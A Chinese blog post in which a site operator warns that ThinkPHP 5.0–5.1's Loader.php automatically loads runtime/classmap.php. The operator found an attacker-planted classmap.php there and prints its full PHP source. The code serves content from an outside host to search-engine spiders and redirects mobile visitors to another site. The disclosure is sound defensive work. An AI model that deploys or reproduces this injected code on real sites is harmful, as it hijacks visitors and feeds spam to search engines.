Thinkphp5.0--5.1 有重大安全隐患 用它做网站的赶紧改

近日服务器上有网站被灰产挂马,具体是这样的:

网站管理系统是基于ThinkPHP5.0开发,几经升级,现在的版本是5.1.42,也是5系列最新版,最近一次升级是在2023-08-28号。

经查,黑客利用ThinkPHP  runtime目录的777的权限,上传了一个文件classmap.php到runtime目录。而ThinkPHP的主框架的装载器thinkphp/library/think/Loader.php文件中,第110行左右,有一段奇怪的代码,用于调用runtime/classmap.php。这段调用代码并非黑客所加,而是ThinkPHP框架自带的,我们下载了最新的ThinkPHP 5.1.24框架对比了,就是ThinkPHP自带的,至少从5.0就存在。ThinkPHP6和ThinkPHP8的情况不清楚。因为最近几年PHP方向的开发,已转向symfony,又转向Lavarel。

如果没有这个调用classmap.php代码,黑客不可能得逞。遗憾的是,这种加载runtime目录下的文件,ThinkPHP官方手册中并没有提及,也没有在runtime下放置一个空文件提示用户。因此,如果不是仔细阅读和验证ThinkPHP的源代码,用户无从知道有这样一个调用。就是这个隐秘而危险的调用,为黑客留下了作案条件,而让用户的网站处于风险之中。

我们阅读了classmap.php文件代码,其作用是帮助黑客做灰产推广,并在特定情况下刷新显示https://jsc.jnhvip.cc(这个网址又会跳转到其他网址)。因此,黑客代码的主要危害是偷偷访问黑客自己的网站,除此之外,并没有对网站有什么实质的危害行为。

目前尚不清楚是黑客是通过何种手段上传的。很可能是thinkphp的漏洞(如以前出现过URL解析漏洞),目前,ThinkPHP5.1.24 已是最新版,无法再升级。网站还能上传文件的一个组件是web编辑器,但web编辑器是需要登录后台的,没有登录后台,是无法上传文件的。因此,到底黑客是利用什么方式上传文件这个问题,只能进一步排查。

如果有知道的朋友,别忘了告诉我一声。

黑客文件 classmap.php 的代码如下:

<?php
@set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
$tr = "stristr";
$er = $_SERVER;
function httpGetlai($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}
define('url', $er['REQUEST_URI']);
@define('ref', $er['HTTP_REFERER']);
define('ent', $er['HTTP_USER_AGENT']);
define('site', "http://www.amcrjt.com/");
define('road', "?" .$er['HTTP_HOST'] . url);
define('regs', '@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('area', $tr(url, ".xml") or $tr(url, ".doc") or $tr(url, ".pdf") or $tr(url, ".txt") or $tr(url, ".ppt") or $tr(url, ".pptx") or $tr(url, ".xls") or $tr(url, ".csv") or $tr(url, ".shtml") or $tr(url, ".tacc")or $tr(url, ".ga")or $tr(url, ".gq")or $tr(url, ".xlsx")or $tr(url, ".bug") or $tr(url, ".fdc") or $tr(url, ".znb") or $tr(url, ".msl") or $tr(url, ".mdb") or $tr(url, ".cnm") or $tr(url, ".love") or $tr(url, ".bak") or $tr(url, ".asp") or $tr(url, ".jsp") or $tr(url, ".jspx") or $tr(url, ".rar") or $tr(url, ".zip") and $tr(url, "?"));
if (preg_match(regs, ent)) {
    if (area) {
        echo httpGetlai(site.road);
        exit;
    } else {
        echo httpGetlai(site.'x.php');
    }
}
if (area){
    if (preg_match(mobile, ent)){
        echo <<<HTML
    <meta http-equiv='refresh' content='1;url=https://jsc.jnhvip.cc/b.html' />
HTML;
        exit;
    }
}
?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值